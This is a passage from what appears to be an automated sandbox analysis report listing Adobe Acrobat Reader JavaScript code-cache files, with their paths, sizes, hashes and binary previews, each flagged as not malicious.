SHA-512:	80E0433B79859530E70112DD8038BE33B26E6E91BB9A60CA35D139CD9B56F1F266EBD9DF6C4A86186B088EF25C4C97C61A1A21FB75FB3DD8FF2EB3288DB11EDA
Malicious:	false
Preview:	0\r..m......V..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/search-summary/js/selector.js ..2v..[/....."#.D@O.;..A.A..Eo......1...........Q..E.=....=h`t..t..3%A.F$..w..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\4a0e94571d979b3c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	177
Entropy (8bit):	5.552814515306035
Encrypted:	false
SSDEEP:	3:m+l64HXlA8RzYOCGLvHkjXMLOWFvbwKl/sWe7xMkt2lcd1dn76KohyP5m1:md4HXXYOFLvEjMSWFvMusWkxlt2GjUd1
MD5:	80A22889051F27ADB4FA877159932724
SHA1:	0DC47F9155BFF15323D3A20BAE3914E811D8A728
SHA-256:	7417F91D16FF603FFF6C6F1E8747E1E6441D3935CB03A20D85063ECCA1159D2F
SHA-512:	7A0F55BD08B8BBCB524D558A6290EAABF4C274588107CDA6DF1D8AE887F61C0730324F741579F9F7FA9782B21FFDBAD9AE0B4B6B98B34DA5A585454FEF791682
Malicious:	false
Preview:	0\r..m......1......5...._keyhttps://rna-resource.acrobat.com/plugins.js .w<_..[/....."#.D.@z.;..A.A..Eo...................PU ....t^.....a.k..u.7.M.BW6#}..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\560e9c8bff5008d8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.54791009196045
Encrypted:	false
SSDEEP:	3:m+lpSUlIv8RzYOCGLvHkWBGKuK2fKVLI1DtMktH/lRUPqf9tsDMaPV44m1:mkl9YOFLvEWsfOLODtltHQPqVyM+VY1
MD5:	80AB002DAE622B567134D05EE97583DD
SHA1:	88BECC811569D533F9E946A67F13BFE0B37414FD
SHA-256:	3C145596B1C9B0FF47DC501FB724FEC0E3B2E9C0856172AF5802310F507302F4
SHA-512:	A55152AA31EF4428FD08EDFE2FA2364E63C94C7D80E2FE3767DB357DE855D6B14CA1CDF4B11CCABC2DC666651337DBB980F4BC75A3D9CD07FDD668D94460B64F
Malicious:	false
Preview:	0\r..m......;...I......._keyhttps://rna-resource.acrobat.com/static/js/desktop.js ...k..[/....."#.D#...;..A.A..Eo....................q.O...j....._y..L^z...?..@N..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\56c4cd218555ae2b_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.613910456400511
Encrypted:	false
SSDEEP:	6:mt9YOFLvEWdVFLBKFjVFLBKFlyarrlt+twSeKaT9pr1:URVFAFjVFAFvrZ0twSeKaTL
MD5:	C7A7C0C1A9175011194F623A12C1A741
SHA1:	04F47E902B0504DF9AE34F4F9E5A5B2229A537A2
SHA-256:	A9057D79FB063412DC1AF33D190E747FC93907BD6BE2C2F8737EBE3EDA7FA79D
SHA-512:	CD62C4E4D5F9ACC917A43B20290A009278A1134D115BBCACABFECD1DE13FA82DFE1EB3F564310BE5F692135E1E0A1A2ED41A0067A885F9C696B3560106BA05E9
Malicious:	false
Preview:	0\r..m......t...R.1<...._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/plugin.js .L.u..[/....."#.D:..;..A.A..Eo.......................H...{...2../.k`..r4.C. .A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\6267ed4d4a13f54b_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.565992646892994
Encrypted:	false
SSDEEP:	6:mq9YOFLvEWdzAHdQ5O/thU9hlto9yt5GFCaa+41:NRMHdGO1hkjK9yt5Gda+
MD5:	EADAEF14D676771DB0B64D4C2E865E2E
SHA1:	3ADB9C6D2A086B9AEBADEB70DC9FF849F469B6E3
SHA-256:	8029CCF0797A455976F5342C36CFBA63722F818886DF61F34A38D5240EF3A990
SHA-512:	A613D8DE0642DD5901F03F88D93B20397F918E4FA24C81AD597854795A2EFC0FD67D6EAFA03BE8649F2508A4FBBA6907C13885692E5B1658F2DA498725FAA073
Malicious:	false
Preview:	0\r..m......R....L......_keyhttps://rna-resource.acrobat.com/static/js/plugins/walk-through/js/plugin.js ../...[/....."#.DK...;..A.A..Eo.......\{............G.3D.....Q.g0...._.Q.........A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\6fb6d030c4ebbc21_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.504784635512068
Encrypted:	false
SSDEEP:	6:ms2VYOFLvEWdvBIEGdeXuNtu8p/lt711:BsR2Esej8p9
MD5:	EB634ACD606F18724B818EBCA8DB8E86
SHA1:	3C3D5E7A716228B3AA80A32FBF179ED0D7091285
SHA-256:	A5C0EC4C2DB8D248F13035A8E02BB766C9C337D0879CC94E490D26F0B3C31DCA
SHA-512:	69DA94D8DBEC16D5440E246A13D07E22C2E5D680E67DAA57B1F3275D5CBF3599CFBEC51602C3BF11F3C3F68FA08951ADB7CA1E85193A55E5E53050A5ED9F669C
Malicious:	false
Preview:	0\r..m......S...]......._keyhttps://rna-resource.acrobat.com/static/js/plugins/add-account/js/selector.js ...t..[/....."#.D.U.;..A.A..Eo........s..........A.o]@r..Q.....<w.....].n\....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\7120c35b509b0fae_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	modified
Size (bytes):	202
Entropy (8bit):	5.661499283555182
Encrypted:	false
SSDEEP:	6:maVYOFLvEWdwAPCQFlku/ltYLxm7OhKlvA1:RbR16o3yxmJ
MD5:	68B269179F80BED0DABD7D963EDF7E5B
SHA1:	BEA903BFEED56F3DBF428BA7F0D64E864B0EF4E2
SHA-256:	D2FB3B1A093BFEDD85CB86015ABEDD9C5C939CF91E3BF3C234D2897D9F49E87C
SHA-512:	4060A07EBCD261A62944052BE8EFF6F662A61A54F7C5E3A8A11C05B23956180C8EC6A72A78F1FFE138AF52EBCC9C0A9919470A437D5C7EF7A91CE5B0659137AC
Malicious:	false
Preview:	0\r..m......J......{...._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/plugin.js ...n..[/....."#.D`...;..A.A..Eo....................4T].....Tw.....(..b...EO....9.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\71febec55d5c75cd_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.58068990769692
Encrypted:	false
SSDEEP:	6:ms2gEYOFLvEWdGQRQVu07t77tlthVdFt1:B2geRHRQ/7t77f3
MD5:	1196FCE4D11D87511641271713F2F847
SHA1:	09ECC366FE7C4738A913AE81E879F1811CA206E9
SHA-256:	13A3D1DB77A244008E44E71CFF103D53FED3C1926C4C0E20F292808094E447D9
SHA-512:	B0B1E64A6C2A04D2BE5BF58254BA7CABF869915EB202487541EBE63F96826AAC98FEB6E0D7B0D15A80213ED8D97C7F12C486B4781F29F576CEA05D0D7C526203
Malicious:	false
Preview:	0\r..m......S...W.%z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/selector.js ..t..[/....."#.D...;..A.A..Eo..................@..{o]...9o\|..qY....T....{..u.b..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\86b8040b7132b608_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	206
Entropy (8bit):	5.6065286767496625
Encrypted:	false
SSDEEP:	3:m+lerlyv8RzYOCGLvHkWBGKuKjXKX+IAHKLuVgll3PeThMktB/gEnNWQ1SUm1:mzyEYOFLvEWdrIOQjllfYltiEt1S/1
MD5:	366A37F9DF48408161BF351EB88D93E9
SHA1:	DD68CED1C0526B4BBEBBF26B2D80BEEEAFC9BEB7
SHA-256:	A3002DAF7EADC4E4A625142FAC7D639FD5497FB7AA084D9AEDFB53312CD82087
SHA-512:	70CD74CED6DECCC44CB38A5A52AAD568BEC1B7D18281A1FEFE4B9CE3810645E47CAFF8964AFCA47E410904AF21A53CD8E57CE424296D789604D2251597CE1969
Malicious:	false
Preview:	0\r..m......N..../......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/plugin.js ...l..[/....."#.D....;..A.A..Eo........N..........t\a......x5.'OuE.C..@......x..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c159cc5880890bc_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.588586135103785
Encrypted:	false
SSDEEP:	3:m+lKcv8RzYOCGLvHkWBGKuKjXKoyNH/KPWFvBtl7ouu/MktP1lwJNqww6U+5m1:mnYOFLvEWdhwyuJlE/ltP1lwrqwK+41
MD5:	B4EE9C8B2C534E1E80E528DAC6AC6BD8
SHA1:	2F9232B1E0EC2C13B8EE349904679D29E5D3B6F3
SHA-256:	B6869FDFC22FEDB9947DA1B80A1DC39CA52392E278DCB544C9B57960E6BDCCBA
SHA-512:	C1E5DF6F3B1A457BA30A8F8A8484665193C48C832103099607565C634D425E48F82463FFE8B30FD2C6EF415109820DDB602E17AE5F4D321CC8F7DB6D5DD821ED
Malicious:	false
Preview:	0\r..m......Z.........._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/selector.js .X.n..[/....."#.D.M..;..A.A..Eo......S.4w...............7...o..a=.98I......(3.$G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c84d92a9dbce3e0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.575308504934686
Encrypted:	false
SSDEEP:	6:mYXYOFLvEWdrROk/RJbu/qlllwe4qlte92fO441:/RrROk/wqtrH02fL
MD5:	EEBD9444659A1910A31387BFCCD96210
SHA1:	F1656EF9547293ECAE938B4425D058798E8CDF46
SHA-256:	2262AB165E02A6E615056E3B5C2F0787EE3144075D42D5B747C31EC4A3737620
SHA-512:	187E4F9432686B3B8C97D5CF6DEE16A1B18A9B92077EB3B9E0EAFC19C198B09D1619CC29497B70A1A9B76D4E296C4F138E7FD7EC2C5DF1311DD90AE57073B400
Malicious:	false
Preview:	0\r..m......f...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/selector.js .0.l..[/....."#.Du...;..A.A..Eo......Y.............~..rw.+[....!.)?..f.U..(=.=.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8e417e79df3bf0e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	5.592869522169312
Encrypted:	false
SSDEEP:	3:m+lhD4ll08RzYOCGLvHkWBGKuKdTSVnlKtObOz1/MktBKHlRzoIN1OFPL4m1:mmDEYOFLvEWXIlKtOoltBS3zV1QPLr1
MD5:	F591D97A209F4902F4D1DF0EBFE39E6D
SHA1:	429744D24408C2F040913E17AF733DC2E2780EDC
SHA-256:	EF4ABC5E76798EF58EC10B46971DAA18E3E6D2FA8867CD2AB4BF376066327722
SHA-512:	B4212F2F5474CF17C729DF7352D83256A25F7502D642CAD9101365E5EB8896ECCE5FA62D189B0A70D2ACD6996E722CC5F626801B6D643F03EFB2C0CD0D5B764C
Malicious:	false
Preview:	0\r..m......:....f......_keyhttps://rna-resource.acrobat.com/static/js/config.js ..k..[/....."#.D.~..;..A.A..Eo.......KT...........~]...%s..<...n.f..<.....1#..U..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\91cec06bb2836fa5_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.5773094566261925
Encrypted:	false
SSDEEP:	6:m52YOFLvEWdMAupBr3x/ltD/MEvsEJ41:zRMd3fHvs
MD5:	349DB52ADD07AC44D72AFD75543066EE
SHA1:	A68CCBE25D40F5F3A818E3C7D105DEB12475B923
SHA-256:	DA587C74B0B2EE82ADD97B42415B0AEBBD69CEFFEEF1B4A82FF360066F0A1612
SHA-512:	1D2E25ECB1DC7D19EAA2211F0160B3C9A60C30D2BEF06D2E7E4D3227995FD05BA05FF0A06B943FA8A6C261F4C40FAE88BAD4146332E0865F19CE86895106EB56
Malicious:	false
Preview:	0\r..m......O...a.Y....._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/selector.js ...t..[/....."#.D...;..A.A..Eo......w.............z._a...'.v.......4p3..1.']...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\927a1596c37ebe5e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.559696566635273
Encrypted:	false
SSDEEP:	3:m+lf1UldA8RzYOCGLvHkWBGKuKjXK9QXAdWKfKPWFvVLJ1tooYMkt/IFoDb7T2/1:mYilPYOFLvEWd8CAdAuZbYltqong1
MD5:	9F01B0F2709E033855ABC86FFAABAD18
SHA1:	95B6360A8C951A2A3882245B3129DC3E37B0FBAA
SHA-256:	E331069B6E30BA65AC7F317A5B480DF4E3D8A088ED1D2C5055B9B8186D2D7FE9
SHA-512:	03B855CAA122A32206D750A0F14BD400262BEA073666BC735FD00EF5DCD12FC36F2DFD64132FEF6CF746338BB116DF39383D655EEF5EB500BFF529E544268F2B
Malicious:	false
Preview:	0\r..m......R....\|....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/selector.js ...t..[/....."#.D"..;..A.A..Eo.........H........c}.H7M=M..-.....Ix..R.l...}Rl.$q.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\92c56fa2a6c4d5ba_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	223
Entropy (8bit):	5.614278648013545
Encrypted:	false
SSDEEP:	6:mY8nYOFLvEWdrROk/IutlDiltgN16wG1:F8hRrROk/pDoA
MD5:	1A22F83B2AA4B5A18C559A0EEE448A74
SHA1:	5D8689724AB37A3B5489A815E351C8AEBF12DAF0
SHA-256:	70112377C55DE471DE6AF2565914A8E7EC2F00B122B30C77D9A1668AD00D17C6
SHA-512:	02524C68492F250AFCCCFE30ADA997F8D7B0D4A0CF41D11060EA42EC7A75EEEC4C47689B1DB937459B2050DD594B15DB1B1054C255139B7C64E094EA4EE3A791
Malicious:	false
Preview:	0\r..m......_...h......_keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/selector.js ..l..[/....."#.DR...;..A.A..Eo...................%.k.SZ..~W.....:)'B..ad......A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\946896ee27df7947_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.651926912782728
Encrypted:	false
SSDEEP:	6:mLrnYOFLvEWdrIoJUQmJvllH7xltl4eJIi1:ehRch1HHL4eJI
MD5:	2D3F7140A43F9E16D8AD75DFCD8B8FE0
SHA1:	BFB42EE6A59043EB35DFFC16A7F4F6BA5475499B
SHA-256:	52363137BD4B7713F25206DE0A8E7A707F94362A670AA70BEDAFC4DC59B03771
SHA-512:	AC946BE6E49B08CD7DC96DCB86785D2B821F99953348BF49A9F998F44BBACCCDC1D7051B579579170892063B40D5D8663F065D44B1F89FAFB2DEA5F463C1A1F1
Malicious:	false
Preview:	0\r..m......U..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files-select/js/plugin.js ...l..[/....."#.DM..;..A.A..Eo.......W;..........;"./N_.,.:C..2....9L.H...3:...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\983b7a3da8f39a46_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.559192133716083
Encrypted:	false
SSDEEP:	3:m+lQ/pqv8RzYOCGLvHkWBGKuKjXKX+IALKPWFvitXllsyhMktUll56mgmOZLhT79:mOEYOFLvEWdrIhuulltltU/5zgm2d/1
MD5:	FCCE2E3FD161B98A277FDCE03E8DC1A4
SHA1:	8891F89325D47905830BBCFEB3E431876B76D09C
SHA-256:	B268E760F20EA093C3D50D372CB5FBC6097AD78EB13CDE989888990FABCD9BA0
SHA-512:	64B8440E1B009281901BAE74769168E849FC89AD9254A10A21549146DDBB720EE74CE32E09743C765C8F1C70B2C6DF6A0291A4BC09D3AE8AC962A9CC5FE7C76E
Malicious:	false
Preview:	0\r..m......P....r......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/selector.js .Vsl..[/....."#.D3...;..A.A..Eo........T........Z.Z}Q..4.o....0+..[\|..n:*..U.W.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\aba6710fde0876af_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.577667084672285
Encrypted:	false
SSDEEP:	3:m+l8UElLA8RzYOCGLvHkWBGKuKPK7CvWEttllZP/Mktt5l/EBiaQ562HvpMm1:mAElVYOFLvEW1KFEtXlZ/ltLlpx56uv7
MD5:	3BE5A6C0D12D856677CA1A15D6B19BF5
SHA1:	758385CD15D2D4AF98F500925A2F24450A1846F6
SHA-256:	1E8A3C5FBA251D68AD9A2C48170BC740876DA656BAD2E5D7973462316A5D2F10
SHA-512:	DBCA3618F1CA4212B93FE19286AB0321AC737FF8C0E76C132CEA8AEE0041EF09E586E469B3C87412666D96B09139293CE99BF82CD68908BAE5EDC7A40B1FA228
Malicious:	false
Preview:	0\r..m......<...)6......_keyhttps://rna-resource.acrobat.com/static/js/rna-main.js ...a..[/....."#.D.N..;..A.A..Eo......`...........z?...SwC...^..y.....V..7R-O.....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\b6d5deb4812ac6e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.629555573831975
Encrypted:	false
SSDEEP:	6:mWYOFLvEWdBJvvuYHH/ltmflUDLYtmOZn1:xRBJXdwfODcFZ
MD5:	89B7A1A03E053ABE926826A1106376DD
SHA1:	FC5943EB2198DAF49ECD5F3B7A634783101BBB18
SHA-256:	52F5DC2687A57F98196EB6BA016A02940AE3A687A011971E076F7B8C7019CDBD
SHA-512:	C05540F0B4595B01A2D9B766AEF7CB1BCD9E110EB1ACE73C0AAA755D781BEE570D292E8A817F3D10CA2FE66F72C06E9BBA924CD45BCF43D05B6CB2AA0492B8DD
Malicious:	false
Preview:	0\r..m......V.....h....._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/selector.js .B.t..[/....."#.D...;..A.A..Eo.......21.............t.q..W.EZ....1...[.zC.7mD..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bba29d2e6197e2f4_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.55999646068592
Encrypted:	false
SSDEEP:	3:m+lxCq//6v8RzYOCGLvHkWBGKuKCH6U4LJzWHK7WFv231Mkti//npSKGoSSl0JGd:msRPYOFLvEWIa7zp7531ltiX8VPu1
MD5:	C190F704A8B1D9D7BEEB79A0DC93A8F9
SHA1:	E86319DD6BF2AA80349BECB1B10DAC616C443682
SHA-256:	9A869B402A1FE71922EA0CFA781FB10DE8366DD9438CE253582A8CAEB61CF514
SHA-512:	8684098BA9727E0D3008F9ABA231E12B796A62FB2D3D5EF53BD49A25D67AD8697B5215E9AC8DE041C182ABE9751C34C55FD1689687EC5EB049AB4B0995A5AD5B
Malicious:	false
Preview:	0\r..m......S...{.j....._keyhttps://rna-resource.acrobat.com/static/js/libs/require/2.1.15/require.min.js ..P_..[/....."#.D.'{.;..A.A..Eo......AE.............L...Im.@.........E.nW...IP..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bf0ac66ae1eb4a7f_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.5977086884348655
Encrypted:	false
SSDEEP:	3:m+lQi9lC8RzYOCGLvHkWBGKuKjXKVRNUpXKLuVSh/lm40hMkt1ln6F4XVAZ+8cV4:mKPYOFLvEWdENU9QN/lAltSwiM3Y1
MD5:	EEE04CF5525BE1C46144AC712446659A
SHA1:	9AA8DFB51FFD209ED966C102F1EC0AE96828A56A
SHA-256:	9DDF2BCB596AF7DEB79ED3FCD851A4FE0397CCA1FB3912A36078F5F00DAA1284
SHA-512:	E24D76485430C3DA670DC0361B73FE35531AC89120835F0BFBFB67FB9B08170E878DC8836B21B1E27D60BD6612BEAE98907450F4C109772C41F335717DF95072
Malicious:	false
Preview:	0\r..m......P...Yft....._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/plugin.js .._n..[/....."#.D....;..A.A..Eo.....................M....m+lS..e.....<7.U.P8*.0K.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\cf3e34002cde7e9c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.614270435733211
Encrypted:	false
SSDEEP:	6:mQt6EYOFLvEWdccAHQ57H8ltgmjBRCh/41:XRc9g7Hu+mDi/
MD5:	9B0686CEAA85C6685183CD3EB2E86672
SHA1:	36D00752C97968D2C7376C0C50B222E5894C8669
SHA-256:	E8F3D1B06143AE76D79080A943C1DB20CE800EB9684765D61FF9FA68BFF2748D
SHA-512:	0A497C60D246BD41145A7C4717E07805E2DA8027FE08C4BC856D99A0A9E5E0EFB2D7C0EF7C697AC6084F20B19A5F730D521F364A43EA5D177BD4DB1DC4B7D0A8
Malicious:	false
Preview:	0\r..m......P...W3......_keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/plugin.js ...u..[/....."#.DPo.;..A.A..Eo..................PJm...0x.x..RD...BB!@5..<..]....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d449e58cb15daaf1_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.579037597799908
Encrypted:	false
SSDEEP:	6:mqs6XYOFLvEWdFCi5mhuYDtll9ltbkULlF4r1:bs6xRkiWp/PN7LlF4
MD5:	E85DAC2661C02DFEAB614B02388D72E9
SHA1:	A87AE62BC869D4FF6049E1F2BD24CFD574D5D890
SHA-256:	EB154E0989A8D9FA7BFFB9B82740A8FA5D51BD2CC6E2F77B570137BC81D52B45
SHA-512:	3BFD7C3420656F3CA3E330F4BE9ED9072D17357D191245E9E4CD7B870AF5CA7AD333253B8B24838CA54FEE2FA7DC79B2CEE87644AF17F6C5257FD7E2ACA2C0FF
Malicious:	false
Preview:	0\r..m......g...~.I?...._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-selector.js ......[/....."#.D.E .;..A.A..Eo.......ln3.........P...#4..l....5...5..).w.. .h.~..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d88192ac53852604_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	215
Entropy (8bit):	5.52546850081235
Encrypted:	false
SSDEEP:	3:m+lPHYs8RzYOCGLvHkWBGKuKjXKXqjuSKPWFvEThtxyz8k/MktHllPECcu1isLKo:mhYOFLvEWd/aFuaTrSxltnEN941
MD5:	48A6C4A6BB9F26D934341EF38031D3A3
SHA1:	8A0399647679C389C88B5663193E099DCF385854
SHA-256:	D939197BD87D74AFC8C64377440D8FEF42BBA9726B5304532773B16242F24130
SHA-512:	B67946F69FCA0966BC8C8F02F1D28BFEC7D463A2E662D747A4A96C9BFE61DB4ECA5BFC4E9EE6FD7766CD669C02917BE4350A37792A3E67C81CDA3ED4AA5587D3
Malicious:	false
Preview:	0\r..m......W....w.m...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-recent-files/js/selector.js ..Dv..[/....."#.D.Z.;..A.A..Eo......J/._...........a.f.m.i.o.p..3U5.....^...I.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\de789e80edd740d6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.555764039859368
Encrypted:	false
SSDEEP:	6:mR9YOFLvEWd7VIGXOdQDTrGGltrBMqVd3G4K41:2DRuR8GMdB9Vd2
MD5:	7DE67D4E058A744A33E849FB21E520FE
SHA1:	D78CD974F929BD7302A134C00CDAF822DE716BA0
SHA-256:	9664618573589E3561D0B414C38726D1262D5E30F208FFE0AFA22D78D42C5A44
SHA-512:	F68C01B0A6D1805B94F7670BE116E035D29854A789A6FDA8C64937FEEC6A032B626D1BD38AAFF2DF1380DC856B170B79A26DD520BFEC11F9FC7C5EFF2CF998A5
Malicious:	false
Preview:	0\r..m......P...y.p....._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/plugin.js .'"v..[/....."#.D.(.;..A.A..Eo........g...........y.$..$.v5j...T...z.]..._S....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f0cf6dfa8a1afa3d_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.619652240919578
Encrypted:	false
SSDEEP:	6:mkqYOFLvEWd8CAd9QU/q2VltaduA424r1:+RQH/qMpr
MD5:	6E4B7667D472EA11E0B7D04878445222
SHA1:	4987076E35CDD840ADCB1AC61808FDB835470BBA
SHA-256:	5A10AE42A1D2B94C1AE3E983A457503853389F42305C001F105F82C4AA9D949C
SHA-512:	F21A7DF26F23EA32869A1FAF945B9115A3C6AA8EC65160B2B4E1EA5529C969CD52A3B332ED2A6BF85C79119D09ABAFE38EE0F6D7352FAF2DBC0A25246CCFCB3B
Malicious:	false
Preview:	0\r..m......P...gT....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/plugin.js ...v..[/....."#.D.S.;..A.A..Eo........).........#..@..k(v.8g..5.~_....]Pj.*..6.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f4a0d4ca2f3b95da_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.593452544064119
Encrypted:	false
SSDEEP:	3:m+lS5Etla8RzYOCGLvHkWBGKuKjXKVRNUp/KPWFvpl/lJs1qMktq/t7Ag2iHio/1:moXXYOFLvEWdENUAuBlJtltq/+yC8n1
MD5:	2AEE88E96E565459EE40B76D92D2E414
SHA1:	3D92C79B132460806C890B312B286FCBCB86DEAD
